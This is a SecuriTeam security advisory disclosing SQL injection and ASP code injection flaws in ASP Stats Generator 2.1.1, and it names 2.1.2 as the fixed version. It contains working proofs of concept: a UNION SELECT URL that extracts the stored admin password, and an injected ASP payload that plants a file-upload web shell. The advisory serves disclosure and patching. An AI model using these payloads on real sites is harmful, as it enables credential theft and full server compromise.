[NT] ASP Stats Generator Multiple Vulnerabilities (SQL Injection, Code Execution)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



ASP Stats Generator Multiple Vulnerabilities (SQL Injection, Code
Execution)
------------------------------------------------------------------------


SUMMARY

" <http://www.weppos.com/asg/en/default.asp> ASP Stats Generator is a
powerful website counter, completely written in ASP programming language."

Improper filtering of user input allows attackers to execute arbitrary
code and SQL queries.

DETAILS

Vulnerable Systems:
* ASP Stats Generator 2.1.1 and prior

Immune Systems:
* ASP Stats Generator version 2.1.2

SQL Injection:
The following URL can be used to trigger an SQL injection vulnerability in
the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1

Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression
'SUM(Visits) ''.
/myasg/pages.asp, line 236

Proof of Concept:
http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from
tblst_config&mese=1

ASP Code Injection:
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"
isn't properly sanitized before being stored in the "inc_skin_file.asp".

This can be exploited to inject arbitrary ASP code.

<B>Proof of Concept:</B>
#F9F9F9" : dim path,hstr, mpath, content, filename:
mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content
= request("content"): filename = request("filename"): on error resume
next: Dim objFSO,f: Set objFSO = Server.CreateObject
("Scripting.FileSystemObject"): if not filename = "" then: response.Write(
"Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path =
filename: end if: if not content="" then: response.Write( "Contented.<BR>"
): set f = objFSO.CreateTextFile( path ): response.Write( err.Description
& "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>"
): f.close: end if %><%=filename%><BR><%=path%><BR><%= Request("path")
%><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1"
ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload
File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content"
rows="15" cols="46" ><%=content%></TEXTAREA></TD></TR><TR><TD><P
align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text"
name="filename" value="<%=filename%>" ></P><P align="center"><INPUT
type="submit" value="Upload" ID="Submit1"
NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error
goto 0: hstr = "
[m.r.roohian]
attacker can upload "cmd.asp" with this uploader and ...


ADDITIONAL INFORMATION

The information has been provided by <mailto:het_ebadi@xxxxxxxxx> Hamid
Ebadi.
The original article can be found at:
<http://www.hamid.ir/security/aspstats.txt>
http://www.hamid.ir/security/aspstats.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Protector System Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several classes of vulnerabilities have been found in Protector. ... cross-site scripting and SQL injection attacks. ...
    (Securiteam)
  • [UNIX] PhotoPost PHP Pro Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PhotoPost PHP Pro suffers from multiple SQL injection, ... There are plenty of SQL injection vulnerabilities in PhotoPost PHP Pro. ...
    (Securiteam)
  • [REVS] Advanced Topics on SQL Injection Protection
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL injection is now one of the most common attacks in the Internet. ... Static query statement - Development Phrase ... Some programmers may think escaping apostrophe with two apostrophes (and ...
    (Securiteam)
  • [TOOL] BSQL Hacker - Advanced SQL Injection Framework / Tool
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BSQL Hacker - Advanced SQL Injection Framework / Tool ... Attack Templates: ... Blind SQL Injection ...
    (Securiteam)
  • [UNIX] PHPNuke Multiple Vulnerabilities in Search Module
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross-site scripting and SQL injections located throughout the ... The vulnerability exists in the ... The first SQL injection vulnerability is a non-critical one in the ...
    (Securiteam)